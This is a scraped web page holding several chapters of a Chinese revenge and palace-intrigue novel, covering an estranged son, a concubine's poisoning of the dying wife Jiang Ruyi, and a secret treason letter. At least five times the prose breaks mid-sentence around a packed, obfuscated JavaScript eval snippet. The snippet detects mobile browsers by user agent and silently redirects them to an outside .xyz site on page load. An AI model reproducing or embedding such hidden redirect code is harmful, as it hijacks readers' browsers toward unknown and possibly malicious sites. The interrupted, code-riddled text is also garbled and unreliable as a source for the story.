d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063575|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,心底浮现出一股不好的预感。 张嬷嬷摇头:“小姐心急了,往常都要两三月才能一个来回,现如今才一个多月,怕是还在回程的路上。” 姜清宁捂着心口,抬头看着她:“嬷嬷,我这心里总觉得慌乱,就像是要发生什么似的。” 张嬷嬷连忙安慰:“小姐别怕,许是自己吓自己,咱们这么多年,眼瞅着就要熬出来,决计不会失败的。” “不行,我还是不放心,嬷嬷你亲自去让人……” 姜清宁摇头,伸手示意张嬷嬷上前,倾身侧耳嘱托起来。 一月后。 满月宴如期而至,安平伯府张灯结彩,宾客盈门。一派繁华热闹的景象。 荀莫离穿着崭新的袍子,被乳母牵着,像个精致却失魂的木偶,穿梭在道贺的人群中。 他偷偷觑着父亲荀臣,对方笑容得体,眼神从未真正落到他身上。 终于寻到一个无人注意的间隙,荀莫离挣脱乳母的手,小小的身影灵活地钻过人群,溜出喧嚣的伯府。 他凭着模糊的记忆,一路竟然真的跑到了宁阁紧闭的大门前。 “开门!开门!” 他用力拍打着门环,声音带着哭腔。 门房探出头,看到是他,脸上难掩惊讶:“小公子,你怎么跑这儿来了?” “我要见……那个女人,你快放我进去。” 荀莫离仰着头,眼中蓄着泪水。 姜清宁正在看岭南传来的密信,听闻荀莫离独自跑来求见,眉头微蹙却还是让人招他进来。 她走到前厅,看到厅中显得格外无助的小小身影。 几个月不见,他似乎更瘦了些,脸上带着不属于这个年纪的惶然。 荀莫离看到她,小嘴一瘪,眼泪终于掉了下来。 “我不想回去了,祖母只喜欢弟弟,爹爹也不看我,他们都不喜欢我,你能让我住在这里吗?” 他仰起头,眼里带着希冀。 姜清宁静静地看着他,淡漠开口: “荀莫离,我不是救世主,更不是大善人。” 第156章打她 荀莫离是安平伯府的嫡长孙,他的苦痛,是他父亲荀臣和整个伯府酿成的苦果。 她与荀家的恩怨早已清算干净,一丝一毫的牵扯都是多余,更可能成为将来棋局中的破绽。 “所以,不能。” 姜清宁的声音平静无波,没有丝毫犹豫,“紫苏,去安平伯府,告知门房,请他们立刻派人来接回小公子。” 荀莫离眼中的光瞬间熄灭,小小的身体晃了晃,脸色一片惨白。 他张了张嘴,却发不出任何声音,只有大颗大颗的眼泪无声地滚落。 安平伯府,荀臣听着门房的叙述,脸色顿时阴沉下来,狠狠瞪了一眼找不到荀莫离的奶娘,转身拂袖离去。 不多时,荀臣亲自赶来。 他看到站在厅中默默流泪的儿子,又看到主位上神色淡漠的姜清宁,一股邪火直冲头顶。 他强压着怒意,上前一把拽住荀莫离的胳膊。 “她早就不要我们了,你来这里干什么,快跟我回去!” 荀臣抱起挣扎哭喊的荀莫离,头也不回地离开宁阁。 姜清宁手中动作微顿,眼前的账本倒是半点也看不下去了。 张嬷嬷叹气:“小姐,莫要后悔就好。” 姜清宁勾唇:“嬷嬷,狠心是一次次的失望和伤痛堆积而出的,荀莫离找我收留是因为整个京城,他的外祖父外祖母不在,父亲母亲或是阿兄在,我便不是他的首选。” “况且他的本性难改,与其养一个未来说不准什么时候,就会反咬自己一口的孽障,倒不如当我没有生过他。” “这样,反倒不会徒增麻烦和怨恨。” 姜清宁眼底一片清明,仿佛丝毫没有受到影响的模样。 几日后,商府张灯结彩,喜气洋洋。 姜月柔一身华丽的大红嫁衣,端坐在闺房中,娇艳的脸庞上是待嫁的羞涩,也有一丝对未来的憧憬与忐忑。 她母亲商氏因与姜松岩和离,此次婚宴便由商府操办。 姜清宁作为长姐,也是姜月柔最信任亲近的人,这几日便一直住在商府陪伴。 夜晚,红烛摇曳。 姐妹俩并排躺在柔软的床榻上,说着体己话。 姜月柔翻来覆去,终于忍不住,声音细若蚊呐地问:“大姐姐,成婚到底是什么感觉?” 姜清宁侧过身,看着姜月柔头一次如此纯真羞涩的模样,心中难得地涌起一丝暖意和怅惘。 她想起自己当初嫁给荀臣时的懵懂与期待,清漪院里八年的冰冷孤寂,最终都化为此刻的清醒与漠然。 姜清宁的声音带着回忆,“因人而异吧,若遇良人,举案齐眉,相敬如宾,自是人间乐事,若遇人不淑……” 她顿了顿,没有说下去,只是轻轻拍了拍姜月柔的手。 “平江侯府三公子是个温润知礼的读书人,家风也清正,月柔你本性柔顺,只要守住本心,不卑不亢,日子不会差。” 这份坦诚,反而让姜月柔紧张的心渐渐安定下来。 她依偎在姜清宁身边,直到沉沉睡去。 第二日,吉时已到。 鞭炮齐鸣,锣鼓喧天。 姜清宁亲手为姜月柔盖上红盖头,扶着她,在商氏含泪不舍的目光中,一步步走向那顶华丽的花轿。 姜清宁站在商府门口,看着花轿在吹吹打打中渐行渐远,最终消失在街角。 热闹散去,商府恢复宁静。 姜清宁回到宁阁,推门而入,一股久违的寂静扑面而来。 偌大的庭院,只余风吹过树叶的沙沙声。 “阿姐。”清脆的声音打破沉寂。 姜清晞不知何时站在廊下。 十五岁的少女,身姿已见挺拔,她穿着一身利落的劲装,腰间束着软剑,眉眼间英气勃勃,眼神却带着对姐姐独有的依恋和关切。 “不是说要去庄子上跑马,怎的现在就回来了?”姜清宁含笑,柔声询问。 “突然想阿姐了,我就回来了。 她走到姜清宁身边,挽住她的胳膊,将头轻轻靠在她肩上,“还有我呢,我会一直陪着阿姐的。” 姜清宁微微一怔,侧头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065679|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着姜清晞明媚而坚定的脸庞。 心中那点空寂瞬间被填满,她反手握住妹妹微凉的手,唇角勾起一抹弧度。 姜如意虽然捡回一条命,但终日缠绵病榻,形容枯槁,再不见往日半分跋扈。 老夫人一颗心全扑在那病弱的金孙身上,对她也只是敷衍地问候。 荀臣更是没再踏足她的院子,表达出对她的厌弃和冰冷。 “白清漪?你来做什么?真当本夫人不能处置你了?” 姜如意淡漠地看她一眼,侧身猛地低咳几声,帕子上沾染几分血丝。 “我自然是来看看夫人身子如何,好在小公子没养在夫人的身边,倒是让夫人少了几分劳累。” 姜如意嘲讽一笑:“你会如此好心?**的说什么鬼话,也不怕闪了舌头。” 看着躺在床上苟延残喘的女人,白清漪心中的恨意非但没有消减,反而如同毒藤般疯狂滋长。 这种愚蠢的女人能占着安平伯夫人的位置,生的孽种能得到老夫人的宠爱, 而她白清漪耗尽心血,却只是个上不得台面的贱妾,要日日忍受这**的拖累。 “夫人说笑了,我对待夫人一向最是忠心不过的。”白清漪受伤道。 一个阴冷的念头在她心底逐渐的盘旋成形,与其让姜如意这样半死不活地拖着,霸占着她想要的名分,不如直接送她一程,也省得她碍眼,更能断掉老夫人和表哥最后一点念想。 那孩子体弱,离了亲娘,万一养不活还能跟着下去,如若养得活就想办法过继到自己名下。 到时候……儿子和夫君,一切不都是她的了? 恶念一旦滋生,便如野草燎原。 “夫人该喝药了,我来亲自侍奉夫人喝药。” 白清漪眉眼含笑,坐在床榻旁,温柔地端起药碗,仔细吹凉将瓷勺放在姜如意唇边。 “啪!” 耳光伴随着噼里啪啦的碎片声,将寂静的屋内热闹起来。 白清漪跌坐在地,没想到姜如意都病成这个模样了,竟然还能有力气打她? 第157章交易 “你哪来的力气打我?” 白清漪捂住脸,不可置信的看着姜如意,心底竟是有些惧意,情不自禁地想要后退。 “白清漪,真当本夫人看不出你的那些弯弯绕绕吗?” “我母亲和府中的妾室斗了那么多年,真当本夫人是什么养在深闺人未识的娇小姐?” “本夫人告诉你!我即便是死!也依旧是安平伯府的正室夫人!是荀臣的正房娘子!真当本夫人看不出你眼里的算计吗?啊?!” 姜如意身子像一个断了线的风筝,艰难地撑在床帮上,眼神凶狠,声嘶力竭地喊道。 “你真当是疯了不成!你要死就快点死啊!占着这个身份做什么?!” 白清漪早在进房的时候,就把凝香院的下人都支了出去。 现如今姜如意身子不好,随时都有可能油尽灯枯,这些都是所有人人尽皆知的。 白清漪作为荀臣的表妹,当初更是被他从京兆府衙保下来,谁都觉得她会是安平伯下一任夫人。 “你想让我死?我偏不死,我到死都要占着这个身份,本夫人才不是姜清宁那个窝囊废,自己的儿子交给别人养,我儿子这一生都只能有我这一个娘亲!” 姜如意冷笑一声,看着白清漪的脸色千变万化。 随后她眼神一转,脸色逐渐变得青白,眼神转到窗外急速走过的身影上,姜如意气急攻心猛地突出一大口鲜血。 哀戚的指着白清漪:“我左右都要**,你为什么就不能让我再活一段时间?” “我只是想要再看看我的安儿,你连着都不能允许吗?” “你在说什么鬼话?” 白清漪被姜如意喷了满身满脸的血,看着她的模样,总觉得这个招数有些熟悉,心中暗道一句不好。 “碰!” 白清漪心里咯噔一下,撞上姜如意暗笑得逞的眼神。 “表妹,我真没想到,你本质上是会这样的女子。” 卧房的大门被人猛地踹开,一道高大的身影充满威压地走进。 荀臣看着眼前的一幅景象,心已经沉到了河底。 姜如意脸色灰败地趴在床上,周遭和地面上都是她吐的鲜血。 白清漪站在她的面前,口中方才还在说着质问猖狂的话语。 妾室逼死继室正房夫人,若是传出去,他荀臣还要不要脸面了? “表哥?” 白清漪转身,看着荀臣怒气冲冲的模样,心底还有什么不明白。 她连忙扑上去,紧紧抓着荀臣的胳膊,急切地开口:“表哥,事情不是你看到的那样,当真不是我,我没有要逼死她!” 荀臣讳莫如深地看了她一眼,猛地抽回自己的胳膊:“表妹,我还没说是什么事呢。” 白清漪如坠冰窟:“表哥……你不相信我?” “事已至此,解释无用。”荀臣闭上眼睛,低喝道:“来人!” 竹息立刻闪身而入,拱手道:“大人?” 荀臣看了眼姜如意:“让人将白姨娘带下去,禁闭到夫人身子痊愈为止,另外将凝香院所有的丫鬟婆子重打三十大板,全部赶出府去,换一批新的来。” 竹息心底泛起惊涛骇浪,垂头道:“是!” 他转身去唤人,白清漪泪流满面地被人拉了出去。 姜如意缓缓地出了一口气,被陪嫁丫鬟扶好躺下,将身边的血迹全部清理干净,从始至终荀臣坐在一旁一言未发。 “事已至此,你可还满意?” 荀臣蹙眉,房间里总是弥漫着一股血腥味,看来姜如意到底是毁了根基,怕是油尽灯枯。 “夫君这是说的什么话,我哪有什么满意不满意的,妾室诬陷主母,刁奴欺主,我身子不好做不了什么,夫君为了我处置了他们,妾身感激都来不及呢。” 姜如意语气淡淡,看着荀臣的眼底早没了爱意。 许是多年前在姜府一眼定情,但一晃当真嫁给他,姜如意反倒是后悔了。 后悔为了嫁给荀臣,手段无所不用其极,就连自己的性命都搭了进去,好在还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜如意毫不畏惧的抬头,眼底满是果然如此的笑意。 “很简单的,我只需要和夫君你做一个交易。” 第158章宁来 宁阁。 姜清宁安静地侍弄花草,紫苏疾步走入花坊。 “小姐,姜如意院子里的丫鬟婆子果然都被赶出去了。”紫苏行礼道。 “她不是个傻的,只是太相信爱情,太相信荀臣的表象。” 姜清宁勾唇:“吩咐人进去吧,白清漪那边要添把火,记住,要做得神不知鬼不觉。” 紫苏眼里闪过兴奋:“是,奴婢这就去办。” 深夜。 白清漪安静地坐在房内,门外守着两个身强体壮的粗使婆子。 “真是晦气,还以为她会成为伯爷的继夫人呢,没想到夫人三言两语就让她被关禁闭了。” “谁说不是呢,亏我还招人花了五两银子,进到这里当婆子,就想着辉煌腾达,谁能想到……” “还夫人病愈再放出来,谁不知道夫人就要不行了。” “嘘,小点声,要是让夫人的陪嫁丫鬟听到了,有咱们的好果子吃!” 两人的语气嫌弃不已,有一搭没一搭地聊着。 屋内烛火昏暗,小桃躺在外间休息,白清漪身形单薄地坐在梳妆台前,望着铜镜中快速消瘦的容颜。 她的双手颤抖不已,那是被行刑之后没有及时处理的后遗症,这半个月来,她日日都要被打二十手板。 现如今双手掌心红肿,早没昔日的白皙。 听着门外婆子的话语,白清漪眼底闪过一抹阴鸷。 “哎呦!我的肚子突然好疼!” “不对,我也是,不会是晚膳的菜是坏的吧?我就说味道不对!” “你先去我先去,还要守门呢……” “左右她也不敢跑出来,一起去不就行了,反正天黑我自己也挺害怕的……” 两个婆子痛苦地捂着肚子,着急忙慌的朝着茅房跑去。 片刻之后。 白清漪面无表情地拉开房门,手中紧紧捏着一个瓷瓶,她朝着凝香院的方向走去,背影逐渐融入黑暗之中。 “咳咳咳……” 姜如意咳嗽得痛不欲生,稍没忍住就是几口鲜血吐出。 青儿眼含热泪:“夫人,奴婢明日去请了二夫人过来吧,您的身子实在是要撑不住了。” 姜如意漱口之后躺回去,气息微弱:“不许去,姜府只会利用我最后一丝价值,小妹这个月及笄,我不能让她走到这个火坑之中,母亲性格外强中干,面对父亲只能是趋炎附势。” 青儿哽咽:“可是您的身子……” 姜如意扯了扯嘴角,脸色苍白:“再等等,她既然敢给我下毒,就绝对不会放弃给我一击毙命的机会,我等着和她同归于尽。” “从前是我对不住你,对你诸多打骂,我只求你等我死后,若是留在府中就把我的嫁妆拿了去,替我好好照顾荀莫安。” “明明是我的孩儿,我却一面都没见到过。” 青儿连连点头,擦去满脸的泪水,转身去小厨房之中端药。 “吱呀”一声,房门被人轻声推开,随之而来的是轻微的脚步声。 姜如意没听到青儿开口,缓缓转头枯瘦的脑袋,向着门外看去,竟是浮现出一抹笑意:“你终于来了啊。” 白清漪眼神发冷:“夫人身子不好,妾来送夫人远离痛苦。” 她快步上前,打开药瓶,捏着姜如意的下巴就要把**灌进去。 身后传来噼里啪啦的声音,青儿手中的药膳掉在地上,她扑上去阻拦:“快来人啊!白姨娘发疯了!她要杀了夫人!” 姜如意脸上挂着诡异的笑容,竟然也没阻拦,任由喉咙之中被灌进去半瓶**。 几个婆子惊醒连忙跑进来,手中力道极大地扒着白清漪,猛地将她压到跪在地上。 “姜如意!你不得好死!你不得好死,你敢陷害我!” 白清漪神情癫狂,指着姜如意痛骂。 姜如意被青儿摁着催吐,满是血丝的眼神扫到白清漪之时,其中只有解气和释然。 “我即便是死,也要拉着你一起下地狱!我让你死都不能有抱养我儿的念头!” 姜如意笑容痴狂,解气不已地喊道。 宁阁之中,姜清宁得知这件事,只是淡淡的开口:“棋子可以再进一步了。” 姜如意的身体本就如同风中残烛,哪里经得起这般暗**害? 不过半月光景,她仅存的那点生气便被迅速抽干,整个人迅速地衰败下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076285|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,形容枯槁,眼窝深陷,连说话都变得极其困难。 一日深夜,姜如意气息忽然急促起来,蜡黄的脸上竟泛起一丝诡异的潮红。 她浑浊的双眼猛地睁开,死死盯着床顶的帐幔,枯瘦如柴的手死死抓住床沿。 “夫人?夫人您怎么了?”守夜的丫鬟吓得魂飞魄散。 “姜清宁,我要见姜清宁!” 姜如意竟挣扎着,用尽全身力气挤出三个字,眼神涣散中透着令人心悸的执拗和怨毒,“叫她来,我要见姜清宁……” 丫鬟连滚爬爬地去禀报。 荀臣被惊动,披衣赶来。 看着床上回光返照,却死死吊着一口气不肯闭眼的姜如意,荀臣心中夹杂着烦躁和荒谬。 他阴沉着脸,对身边竹息道:“去宁阁请姜氏过来,就说夫人不行了,想见她最后一面。” 宁阁。 “小姐,安平伯府来人,说姜如意快不行了,非要见您一面。” 紫苏进来禀报,脸上带着毫不掩饰的嫌恶,“黄鼠狼给鸡拜年,肯定没安好心,小姐您要去吗?” 姜清宁正对着一盘残局,指尖捻着一枚黑玉棋子,闻言动作没有丝毫停顿。 她缓缓落子,发出一声清脆的轻响。 “去,为何不去?” 她抬起眼,眸中漠然,唇角微勾,“能亲眼看着一个恨我入骨的人油尽灯枯,带着满心不甘咽下最后一口气,这样的场面,错过岂不可惜?” 她放下棋子起身,“备车。” 安平伯府。 老夫人抱着襁褓坐在外间垂泪,姜家二房姜松岩、二夫人以及姜老太太闻讯赶来,挤在床边哭天抢地,一片混乱。 荀臣看着床上形销骨立的女人,觉得无比厌烦。 姜清宁一身素净的月白衣裙出现,与哭天喊地的一群人显得格格不入,如同误入污浊泥潭的一捧新雪。 所有人的目光都聚焦在她身上,带着各种复杂的情绪。 姜清宁恍若未见,径直走到床前。 她的目光平静地落在姜如意脸上。 曾经艳丽张扬的脸此刻枯槁凹陷,唯有一双明亮的眼睛死死地盯着她的脸。 第159章遗愿 “姜如意,如你所愿,我来了。” 姜清宁含笑,和姜如意对上视线,丝毫没有恐惧之情。 “姜清宁,你终于来了啊。” 姜如意喉咙沙哑,瘦可见骨的手指猛地抬起,似乎是想抓住什么,却刚抬起到半空之中便没了力气。 “你倒是愿意来,可惜我就要**。” 姜清宁定定地看了她许久,漠然道:“姜如意,这一切都是你自作孽、不可活。” 姜柏舟猛地拍案而起:“姜清宁!你这个孽障!你在说什么鬼话,她可是你的嫡亲堂妹!” “嫡亲?堂妹?” 姜清宁嗤笑:“敢问姜家主,你们姜家可有谁把我当做是姜家人?” “孽障!背弃祖宗的东西!我姜家怎么出了你这么个没心肝的东西啊!” 姜老太太气得将拐杖在地上驻的咚咚作响,怒气冲冲地指着姜清宁怒骂。 “姜老太太,我可不是姜家人,还是说姜家没了倚仗的女儿,想要胡乱攀亲戚?那也要问问我身后的镇北王府同不同意了。” 此话一出,在场的姜家人面色缤彩纷呈,纷纷想起几月前的那天,姜清宁早就不是姜家人了。 在姜老太太的一意孤行之下,姜清宁所在的大方,还有前不久嫁给平江侯府三公子,成为三少夫人的姜月柔,都不是姜家人了。 姜清宁更是鲤鱼跃龙门,一跃成为镇北王府未来的世子妃,和贺宁关系亲密,一面之缘就让贺宁两次朝堂请旨赐婚。 “你大逆不道!” 姜柏舟怒不可遏:“即便是被姜家除去族谱,你也永远摆脱不了是姜家的血脉这件事,你一辈子都要跟姜家绑在一起!” “放肆!”姜清宁猛地将花瓶达到地上,成功地震慑现场的人。 “我是镇北王府世子妃,谁敢忤逆!” “你还没嫁人呢?这就摆上铺子了?”姜老太太气笑了,“你真当那镇北王世子是什么痴情人,天底下的男人有哪个是当真靠谱的?他只是喜欢你的相貌罢了!” “姜清宁,你已经不年轻了,再过几年镇北王世子被新鲜女子夺了性质,你还是只能靠娘家!” “哦?本世子倒是不知道,姜老太太何时这么了解本世子了?” 一道矜贵高傲的声音响起,一双长腿先后迈入房内,将房内**点燃似的气氛顿时凝固住,所有人惊愕地看着来人。 姜清宁丝毫未动,等着身后人走到自己的身边。 贺宁一身锦衣玉袍,腰间悬挂着顶级玉佩,气质斐然,身高腿长,让人眼前一亮。 “这位就是大名鼎鼎的姜老夫人吧?本世子今日当真是开了眼了,没想到本世子这还没成亲呢,就被人扣上了一顶风流的帽子。” 贺宁语气一转,陡然间变得严肃起来:“看来本世子当真是太久没回京,让人觉得镇北王府是好欺负的了!” 姜老太太乃至姜松岩都双腿一软,险些给气势凌厉的贺宁跪下。 姜柏舟擦了擦额头的冷汗,连忙上前解释:“世子殿下误会了,我们当真是没有这个想法啊,只是您不理解姜清宁的为人,她此人实在是不忠……” “住口!” 贺宁怒喝一声,抬脚将姜柏舟踹到地上,声音仿佛是淬了毒的刀子,刀刀割人心。 “姜清宁如何自有本世子亲眼看到,还轮不到你们这些八竿子打不着的畜生胡言乱语,本世子的未婚妻已经和姜家恩断义绝,你们谁再敢胡乱攀亲戚,本世子就奏请陛下,看看到底诛九族的时候谁会带上姜清宁!” 这话一出,姜柏舟都顾不上哀嚎了,浑身冷汗直冒,战战兢兢地看着贺宁。 姜清宁侧眸,看着站在自己身边呈保护状的贺宁,眼底闪过讥讽的神色。 姜家人还是一如既往的趋炎附势,只畏强权。 “都给我出去!” 一道尖锐的声音响起,姜二夫人猛地转身站起来,眼神凶狠地盯着丈夫、婆婆、小叔子们。 “你发什么疯?!”姜柏舟浑身一震,被吓到似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076286|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怒问。 “姜柏舟!你的女儿都……你现在满眼可曾有自己的女儿一下?如意是我们的亲生女儿啊!” 姜二夫人眼眶通红,泪流满面道:“我的孩子就要**,可是你们可曾看过她一眼,可曾问过她难不难受?” “你、你、还有你!你们的眼中都只有利益!如意做不成安平伯夫人了,你们就转头想要攀上姜清宁和姜月柔?” “可惜啊,人家早就有了强大的靠山,还被你们亲手逐出了族谱!我要是你们早没脸没皮了!” 姜如意躺在床上,眼角的泪水顺着母亲的话,一齐滑落入发髻之中,隐匿于无形之中。 姜柏舟的面色登时难看不已,下意识去看气息微弱的姜如意,眼底深处浮现出懊悔。 他不过是想要抱怨几句,结果却跟姜清宁吵了起来,如今当真是懊悔不已。 “咳咳……母亲,你们都出去吧,我有话要跟姜清宁说。” 姜如意大喘气几次,强撑着精神对姜二夫人开口:“我不想让母亲看着我走,我现在太丑了,最后的时间就让我跟姜清宁说几句话吧。” 姜清宁站在原地,没有理会任何人的目光,房间里的人面面相觑,最终是哭得崩溃的姜二夫人强势赶走所有人。 她走上前道:“从前你欺辱我,炎日的夏衫、冬日的炭火、房内的首饰、母亲留给我的嫁妆、凡是你想要的,就都会拼尽全力抢走。” “我抵抗也只会换来你更深的嘲讽,你们都嘲笑我是个父母兄长不要的女子,嘲讽我是被人嫌弃的女人,在我出嫁后迫不及待地舍弃我。“ “姜如意,我不欠你们的,反倒是你欠我许多,我不会答应你任何的遗愿。” 姜清宁静静地看着她,没有说话,那眼神,如同在看一场与己无关的闹剧。 “如果我说,我知道荀臣的秘密呢?” 姜如意闭眸扯了扯嘴角,露出一个灰白难看的笑容。 “我拿这个向你交换,你可愿完成我的遗愿?” 第160章密信 姜清宁眼底来了兴致,虽然荀臣一直在被她调查,但现摆在面前的秘密,不要白不要。 “得知了荀臣的秘密,你是怎么活下来的?”姜清宁出声询问。 自从调查荀臣之后,她查到一些关于荀臣的隐秘,以及他的手段,彻底知道此人并非这几十年来表达出的光风霁月。 荀臣就是一个彻头彻尾的刽子手。 姜如意安静地看着她,面上挂着恬静的笑容。 姜清宁左思右想,的确没想到理由。 “我替他除了一个人,他自然乐意与我做交易。” 姜如意有些急切,极为艰难的吐字:“姜清宁,你究竟……愿不愿意,与我合作。” “不要以为我不知道,我的身子和你脱不了关系!白清漪是着了你的道才给我下药的吧?她给我下毒也是你刺激的!” “不。” “她给你下毒是我刺激的,在这之前,和我无关,我是单纯地想要你们鱼死网破。” “为了荀莫离?” “为了我自己。” 姜清宁敛眸,这些年白清漪没少磋磨她,她在安平伯府的苦头,全部都有白清漪的手笔。 她简直是死里逃生,她活着了,那白清漪就别想全身而退,她必须付出代价。 “我嫁给荀臣,这么顺利,也是你的手笔吧?” 姜如意扯了扯嘴角,露出嘲讽的笑。 她自从入安平伯府之后,才知道安平伯府的规矩在荀臣的手中,是多么的森严,可她却偏偏那么凑巧地就能收买嬷嬷和丫鬟,给荀臣下药。 而白清漪能赶过来成为荀臣的女人,也少不了姜清宁的手笔。 “这安平伯府里,到底有你多少的人?” “空口无凭,哪来的证据?”姜清宁矜傲地询问。 况且,即便是她一直在助推又如何,是她要让荀臣名誉扫地,一点点地承受当年她承受过的那些又如何? 这些都是荀臣应得的报应,是姜如意、白清漪、安平伯老夫人的报应。 “荀臣没了,你的儿子要怎么办?” “从小就不孝的儿子,我又怎么会继续当成亲生儿子教养?”能替他找个平凡人家,就已经算是姜清宁积德行善了。 姜如意终于死心,可她不甘心,她的安儿不能没人照顾。 “荀臣逃不掉,那姜家更逃不掉了吧……” 姜清宁淡笑不语。 “姜清宁,我好恨你。” 姜如意死死盯着她,眼中满是不甘,“我从小就恨你,凭什么好父亲、好母亲、好兄长、好妹妹、都是你的!连荀他当初心里也有你……” 她的声音断断续续,却字字泣血,充满嫉妒:“我爹是个赌鬼、我哥是个废物、他们把姜家败光了、我什么都没有只能靠自己去争去抢……” “我费尽心机讨好祖母,讨好荀家,好不容易成了伯府夫人,可到头来都成了一场空。” 她剧烈地喘息着,目光充满绝望,“我什么都没有得到,连这个孩子都守不住。” “姜清宁你凭什么还能清清白白,还能攀上镇北王世子,凭什么!我不甘心!不甘心!” “我要和你做交易,我要我的儿子好好活着,我和那些姜家人不同,我是个好母亲,我爱我的孩子!” 姜如意声嘶力竭,她绝对要保住孩子的命,但荀臣被姜清宁记恨上了,姜家未来绝对保不住。 她只能求到往日最看不起的女人面前。 姜清宁冷漠地看着她:“姜如意,你的骄傲不允许你像我求饶,我有没有替仇人养孩子的打算。” “若是你不想说,我也不会强求,毕竟我当初早已不是任人揉搓的姜清宁,你的如意算盘,从一开始就打错了。” “你好自为之。” 话音落下,姜清宁转身,毫不犹豫地朝着门外走去。 即便她想知道荀臣的秘密,但是断没有和仇人交换的打算。 “即便是大伯和大堂哥是因为他,才被贬去岭南的,你也没有半分的犹豫和恨意吗?” 姜如意着急起来,拼尽全力从床上爬起来,朝着姜清宁的方向低声喊道。 “这件事,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091191|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就知道了。” 姜清宁侧眸,冷笑道。 “还有!” 姜如意咬牙,她已经看清楚了姜清宁的态度,她是真的没有在开玩笑,这个女人比她想的要心狠多了。 “我从他的书房外偷听到,荀臣和前朝废太子的遗腹子卫斋,开始了书信往来,他们想要……谋反。” 姜如意低声道,眼底翻涌着滔天的恨意,既然护不住儿子,那就让荀臣给她们母子一起偿命! 谋反是诛九族的死罪,谁都逃不掉! 姜清宁顿住,眸光微闪,转身看向姜如意:“我凭什么相信你?” 姜如意靠回去坐着,含着泪笑了声:“我梳妆台的第二层抽屉里,有我偷出来的密信,上面有他们交谈的消息,你一看便知。” “收起你最后的狐疑吧,我是将死之人,我对荀臣不作为的恨意,远比你要高得多。” 姜清宁沉默着走向梳妆台,按照她的话果然摸出来一封厚厚的信封,看来荀臣早在几月前,就已经和他们联系了。 “我相信你。”姜清宁回答。 但看着对方眼底浮现的希冀,依旧道:“可我不会帮你护着儿子,你和荀臣的孩子,在我面前没有任何的情分可言。” 毕竟他的父母,都是自己深恶痛绝的存在。 “能让他和我一起死,我就满足了。” 姜如意看着姜清宁把信封收起来,恍惚了一瞬,朝着窗外伸出手,痴痴地笑道:“姜清宁,我不甘心,我不甘心啊……” 最后一个“心”字吐出,姜如意如同耗尽了所有生命。 姜如意那双死死瞪圆的、充满无尽怨恨的眼睛,瞬间失去了所有神采,手臂颓然垂落,重重地砸在床沿上。 死不瞑目。 “吱呀”一声。 姜清宁将房门从里面打开,她面色淡漠的走出,和贺宁道:“没事了,我们走吧。” 在场人的脸色纷纷有些不好,快步朝着房内走去。 “如意!我的儿啊!”姜二夫人扑到女儿身上,撕心裂肺的哭嚎出声。 第161章三人行 一时间,屋内哭喊震天,乱作一团。 姜清宁站在这一片混乱中面无表情。 姜如意的怨恨,在她心中掀不起半分波澜。 原来,这么多年的针锋相对,处心积虑地陷害刁难,甚至不惜赔上自己的婚姻和性命,根源竟只是源于嫉妒。 多么可笑,又多么可悲。 她姜清宁所经历的一切苦难,父兄流放,母亲幼妹远赴烟瘴,自己在后宅挣扎求生,在安平伯府受尽冷眼…… 在姜如意眼中,竟成了值得嫉妒的拥有,这荒谬绝伦的逻辑,让姜清宁连最后一丝对死者的怜悯都彻底消散。 